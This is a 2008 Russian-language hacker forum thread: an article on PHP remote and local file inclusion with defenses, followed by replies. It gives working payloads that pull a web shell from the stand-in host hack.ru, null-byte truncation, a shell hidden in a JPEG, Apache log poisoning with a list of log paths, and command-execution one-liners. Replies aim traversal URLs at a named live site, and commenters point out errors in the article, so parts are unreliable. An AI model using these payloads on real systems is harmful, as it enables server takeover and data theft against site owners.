ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

PHP-include и способы защиты
  #1  
Старый 14.11.2008, 18:25
Аватар для _Pantera_
_Pantera_
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
Провел на форуме:
3025546

Репутация: 1327
Отправить сообщение для _Pantera_ с помощью ICQ
По умолчанию PHP-include и способы защиты

Введение


Всем привет! В этой статье я постараюсь рассказать все о php-include, собрав все что мне известно в одну статью. Буду рад любой критике, а также постараюсь дорабатывать со временем данную статью!




Глобальный инклуд


Наиболее опасная из уязвимостей веба, но к сожалению, или к счастью встречается в наше время крайне редко. Для атаки необходимо, что б функция allow_url_include была включена, тоесть On
Уязвимость позволяет злоумышленнику выполнить на сервере произвольный php код.
В PHP существуют четыре функции для включения файлов в сценарии PHP:

* include();
* include_once();
* require();
* require_once().


Функция include() включает содержимое файла в сценарий. Рассмотрим пример "дважды" уязвимого кода:
PHP код:
<?php
    
if($_GET['page'].'.php')
    {
         include(
$_GET['page'].'.php');
    }
    else
    {
         include(
$file.'.php');
    }
?>
С помощью условия мы проверяем, если через url на сервер передается элемент массива $_GET['page'], то вызываем функцию include(). Из-за того, что значение массива $_GET['page'] не проверяется на существование, с помощью функции file_exists() злоумышленник может провести атаку:

Код:
http://site.ru/index.php?page=http://hack.ru/shell
В ином случае мы инклудим include($file.'.php'); Тут таже ситуация, просто запись кода немного другая. Переменная $file не
была определенна раннее и злоумышленник может выполнить удаленно php код:

Код:
http://site.ru/index.php?file=http://hack.ru/shell
Функция include_once() практически не отличается от include(), за одним исключением: прежде чем включать файл в программу,
она проверяет, не был ли он включен ранее. Если файл уже был включен, вызов include_once() игнорируется, а если нет -
происходит стандартное включение файла.
PHP код:
<?php
    
include_once($file.'.gif');
?>
В этом примере к подгружаемому файлу автоматически приписывается расширение '.gif'
Избавиться от расширения '.gif' можно двумя способами:
1) если magic_quotes_gpc = Off то можно использовать "ядовитый ноль" - %00 который отрежит расширение
Код:
http://site.ru/index.php?file=http://hack.ru/shell.php%00
2) даже если magic_quotes_gpc = On
Код:
http://site.ru/index.php?file=http://hack.ru/shell.php?

Функция require() аналогична include(), за исключением одного - файл, определяемый параметром require(), включается в
сценарий независимо от местонахождения require() в сценарии.
PHP код:
<?php
    
require($file);
?>
Атака аналогична, но в этом случае расширение не приписывается:
Код:
http://site.ru/index.php?page=http://hack.ru/shell.php

Функция require_once() загружает файл в сценарий всего один раз.
PHP код:
<?php
    
require_once($file.'.php');
?>
Атака аналогична...




Теперь рассмотрим другой вариант инклуда. На этот раз необходимо, что б в файле php.ini
значение параметра allow_url_fopen было равно On, что и есть по умолчанию.

PHP код:
<?php
    $f
=fopen("$file.php","r");
    
    while (!
feof($f))
    {
        
$s=fgets($f,255);
        echo 
$s;
    }
    
    
fclose($f);
?>
Из-за того что переменная $file не была определена ранее, злоумышленник может произвести атаку:

Код:
http://site.ru/index.php?file=http://hack.ru/shell
В итоге опять получаем веб-шелл.



Следующий пример - использование функции readfile()

PHP код:
<?php
    readfile
($file); 
?>
Функция readfile() считывает файл, имя которого передано ей в качестве параметра, и выводит его содержимое на экран.
В итоге опять получаем веб-шелл:

Код:
http://site.ru/index.php?file=http://hack.ru/shell

Теперь рассмотрим такой вариант:

PHP код:
<?php  
    
echo implode(""file($file));
?>
С помощью функции implode() мы объединяем элементы массива в строку, а с помощью функции file() получаем содержимое файла в виде массива. В итоге опять имеем веб-шелл:
Код:
http://site.ru/index.php?file=http://hack.ru/shell.php


Защита от глобальный инклудов

Конечно можно проверять файл на существование с помощью функции file_exists() и отфильтровывать нежелательные символы с помощью str_replace(), но я рекомендую использовать конструкцию switch case:

PHP код:
<?php

    
global $page;

    switch (
$page
    {
        case 
'':
        include (
"pages/main.php");
        break;
    
        case 
'index':
        include (
"pages/main.php");
        break;

        case 
'page1':
        include (
"pages/folder/page1.php");
        break;

        case 
'page2':
        include (
"pages/folder/page2.php");
        break;
    
        default:
        include (
"pages/hack.php");
        break;
    }

?>
Так же рекомендую отредактировать файл php.ini:

Цитата:
allow_url_include = Off //запрещаем удаленно инклудить файлы
allow_url_fopen = Off //запрещаем fopen открывать ссылки
register_globals = Off //отключим инициализацию глобальных переменных
safe_mode = On //включаем safe_mode (у хеккера не будет доступа к /etc/passwd и ему подобным)


Локальный инклуд

Не менее опасная уязвимость в вебе. Позволяет злоумышленнику инклудить файлы лежащие на сервере. Многие новички сталкиваясь с данной ошибкой веб-кодинга бросают дело, т.к не знают как действовать дальше и в какую сторону копать. Я приведу общий пример:

PHP код:
<?php
    
include("include/$file"); 
?>
Глобально проинклудить не получиться, т.к переменная $file приписывается после каталога /include/
Что же можно сделать?

Идеальным считается тот случай, когда на сайте стоит или форум или иная форма, с помощью которой можно загрузить любой файл c любым расширением.
Возникает вопрос - а почему с любым расширением? Возьмем к примеру вымышленный сайт на котором есть возможность загрузки аватарки через форум. На форуме стоит скрипт, который проверяет - действительно ли пользователь загрузил фотографию? Открываем paint и сохраняем любое изображение к примеру в формате jpg. После чего открываем его блокнотом и после кода изображения пишем <?php include("http://hack.ru/shell.php"); ?> В итоге получаем примерно такую картину:

Цитата:
яШяа JFIF  ` ` яЫ C  

 $.' ",#(7),01444'9=82<.342яЫ C 

2!!222222222222222222222222222222222222222222222 22222яА  6 6" яД   
яД µ  } !1AQa"q2Ѓ‘Ў#B±БRСр$3br‚
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ѓ„…†‡?‰Љ’“”•–—˜™љўЈ¤ Ґ¦§Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙК УФХЦЧШЩЪбвгдежзийкстуфхц шщъяД   
яД µ  w !1AQaq"2ЃB‘Ў±Б #3RрbrС
$4б%с&'()*56789:CDEFGHIJSTUVWXYZcdefghijstu vwxyz‚ѓ„…†‡?‰Љ’“”•–—˜™ љўЈ¤Ґ¦§Ё©ЄІіґµ¶·ё№єВГДЕЖ ИЙКТУФХЦЧШЩЪвгдежзийктуф цчшщъяЪ   ? чъ(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ?яЩ
<?php include("http://hack.ru/shell.php"); ?>
Теперь такую картинку можно загрузить на форум и она будет воспринята именно как картинка
Вернемся к вопросу о расширении. Почему нам подойдет любое? Дело в том, что функция include()
загружает код из одного файла в исполняемый файл. Вот пример:

Код:
http://www.site.com/index.php?include=../forum/images/shell.jpg
В результате, в файле index.php выполняется код <?php include("http://hack.ru/shell.php"); ?>



Логи апатча

Как известно apache ведет лог-файлы httpd-access.log и httpd-error.log и все запросы
естественно логируются и пишутся в соответствующие файлы. Вот примерное их расположение:

Цитата:
/logs/error.log
/logs/access.log
/logs/error_log
/logs/access_log

/var/log/error_log
/var/log/access_log
/var/log/error.log
/var/log/access.log

/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log

/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log

/var/log/httpd/error.log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/access_log

/apache/logs/error.log
/apache/logs/access.log
/apache/logs/error_log
/apache/logs/access_log

/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log

/home/www/logs/error_log
/home/www/logs/error.log
/home/www/logs/access_log
/home/www/logs/access.log
Я же приведу пример на локалхосте, думаю многим понятнее будет. С помощью программы InetCrack я отправляю пакет такого содержания:

Цитата:
GET /index.php/<?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
Host: localhost
User-Agent: google/bot
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
Заголовок пакета записывается в логи апатча, расположенные по адресу:
Код:
Z:\usr\local\apache\logs\access.log
Тоесть в этот файлик записывается вот такая строчка:

Цитата:
127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/<?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414
Думаю суть понятна. Нам остается его проинклудить:

Код:
http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log
И получить веб-шелл




Защита от локальных инклудов


Вот небольшой примерчик, как можно надежно защититься:
PHP код:
<?php


    
function stripslashes_for_array(&$array
    {
        
reset($array);    
        while (list(
$key$val) = each($array)) 
        {
            if (
is_string($val)) $array[$key] = stripslashes($val);
            elseif (
is_array($val)) $array[$key] = stripslashes_for_array($val); 
        }
    return 
$array;
    }  

    if (!
get_magic_quotes_gpc())
    {
            
stripslashes_for_array($_POST);
            
stripslashes_for_array($_GET);
    }

    if(isset(
$_GET['file']))$file=$_GET['file']; 
    else 
    { 
        if(isset(
$_POST['file']))$file=$_POST['file']; 
        else 
$file=''
    } 

    
$file=str_replace('/','',$file); 
    
$file=str_replace('.','',$file); 
    if(!
file_exists("include".'/'.$file.'.php')||$file=='index'
    {
        
$file='news';
    }
    
    include(
"include".'/'.$file.'.php');
    
?>
И так, что тут происходит? Каждый элемент массива проверяется функцией stripslashes(). Она убивает бэкслеши. Далее проверяем установлено или нет значение элемента массива. Отфильтровуем недопустимые символы('/', '.') функцией str_replace(). Если файла не существует (проверяем с помощью функции file_exists()) - присваиваем значение переменной $file='news'. В остальных случаях(когда файл существует) инклудим его.

***************************************

PS Все что описано в статье я проверял на локалхосте. Надеюсь каждый из нее черпанет чего-нибудь новенького и интересного. Спасибо за внимание

Последний раз редактировалось _Pantera_; 16.11.2008 в 22:38..
 
Ответить с цитированием

  #2  
Старый 14.11.2008, 18:55
Аватар для nerezus
nerezus
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме:
6490435

Репутация: 2290


Отправить сообщение для nerezus с помощью ICQ
По умолчанию

Гораздо проще выучить ООП. Нужда в подобных конструкциях отпадет.
 
Ответить с цитированием

  #3  
Старый 14.11.2008, 19:02
Аватар для Zinus
Zinus
Banned
Регистрация: 08.08.2008
Сообщений: 31
Провел на форуме:
297671

Репутация: 32
По умолчанию

TRUE PHP-injection - Вот эта статья мне нравится больше. Да и не пойму зачем писать по 100 раз об одном и том же..тема разжевана уже дальше некуда. Короче всё боян от начала до конца
 
Ответить с цитированием

  #4  
Старый 14.11.2008, 19:47
Аватар для [Raz0r]
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию

Цитата:
Функция include() вставляет php-код из одного файла, в файл на котором вызывается эта функция.
мягко говоря некорректное определение функции
Цитата:
Глобальный инклуд
принято называть удаленный инклуд (remote include)
Цитата:
Из за того,
что переменная page не была определена раннее, злоумышленник может провести атаку:
В твоем коде переменной page вообще нет, есть элемент массива $_GET['page'], который ранее никак не мог быть инициализирован
Цитата:
Переменная $file не
была определенна раннее и злоумышленик может выполнить удаленно php код:
а если register_globals=off ?
Цитата:
Для того что б его срезать используют
называемый в народе "ядовитый ноль" - %00, в php он обозначает окончание строки:
нуллбайт означает конец строки в C,C++ - но уж точно не в php
Цитата:
Я же приведу пример на локалхосте, думаю многим понятнее будет. С помощью программы InetCrack я отправляю пакет такого содержания:

Цитата:GET /index.php/<?php system($GET_[cmd]=dir); ?> HTTP/1.0
а если повнимательней?
 
Ответить с цитированием

  #5  
Старый 14.11.2008, 20:16
Аватар для Grey
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Муххахах:

Код:
http://site.ru/index.php?file=http://hack.ru/shell.php%00
И накой ***? если это возможно только при мейджик квотс = офф?

А вот так можно и при мейджик квотс = он:

Код:
http://site.ru/index.php?file=http://hack.ru/shell.php?
Не похек. Статьи должны писаться при полном понимание того, о чем пишешь, а не абы как. Меня вот сомнения терзают что ты практиковался с инклудами.

Код:
Цитата:GET /index.php/<?php system($GET_[cmd]=dir); ?> HTTP/1.0
Жесть! ты хоть книгу по php открывал?

Последний раз редактировалось Grey; 14.11.2008 в 20:22..
 
Ответить с цитированием

  #6  
Старый 14.11.2008, 20:39
Аватар для [Raz0r]
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию

Цитата:
К примеру ereg останавливается на нуллбайте. + PHP писался на C. => много всего из си перешло в php, включая синтаксис
ты хочешь сказать, что в PHP нужно указывать в конце каждой строки нуллбайт, как это делается в С?
http://ru.wikipedia.org/wiki/Нуль-терминированная_строка
 
Ответить с цитированием

  #7  
Старый 14.11.2008, 21:13
Аватар для [Raz0r]
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию

я не сомневаюсь, что так будет работать, но зачем называть переменную $GET_[cmd]? Тем более, что ее назначить нельзя будет, т.е если просто написать
GET /index.php/<?php system(dir); ?> HTTP/1.0
результат тот же будет

<?php system($_GET[cmd]) ?> неужели так сложно?

Последний раз редактировалось [Raz0r]; 14.11.2008 в 21:23..
 
Ответить с цитированием

  #8  
Старый 14.11.2008, 23:32
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Цитата:
Сообщение от _Pantera_  
Не в этом дело! можно конечно просто <?php system($_GET[cmd]; ?> Я написал system($GET_[cmd]=dir); оно идентично system(dir); Но ребята, все что вы написали - это такие мелочи!
Мда(с)

Судя по этому посту автор просто не понимает, что вы ему пытаетесь объяснить. Он просто "не в теме"

Мне например очень "понравилось" про шелл в картинке. Заливаем мы значит туда этот код : <?php @system($GET_[cmd] = "ls -la"); ?>,
Цитата:
Сообщение от _Pantera_  
В результате, в файле index.php выполняется код <?php @system($GET_[cmd] = "ls -la"); ?>
так, и что-же мы будем делать дальше? Я так полагаю будем лить ещё одну картинку?
 
Ответить с цитированием

  #9  
Старый 15.11.2008, 01:23
Аватар для vladim1
vladim1
Новичок
Регистрация: 12.11.2008
Сообщений: 12
Провел на форуме:
151764

Репутация: -1
По умолчанию

Цитата:
Теперь расмотрим другой вариант инклуда. На этот раз необходимо, что б в файле php.ini
значение параметра allow_url_fopen было равно On, что и есть по умолчанию.
http://autismcorner.com/Verhaal.php?dir=.&file=../Verhaal.php

А в током случае есть решение ???
 
Ответить с цитированием

  #10  
Старый 15.11.2008, 06:30
Аватар для Sleep
Sleep
Участник форума
Регистрация: 31.10.2007
Сообщений: 193
Провел на форуме:
2080216

Репутация: 150
Отправить сообщение для Sleep с помощью ICQ
По умолчанию

2 Vadim1
_http://autismcorner.com/Verhaal.php?dir=http://SleepSleepSleep.narod.ru&language=nl&file=1.php там просто чтение файла
локальные файлы читать наврятли получится так как там папка /nl/ перед именем файла идёт, задается она переменной language но менять ее можно только на en,nl
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Local include && PHP baz1k Чужие Статьи 0 10.01.2008 04:50
Что такое Php? PAPA212 Болталка 13 28.12.2007 20:44
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ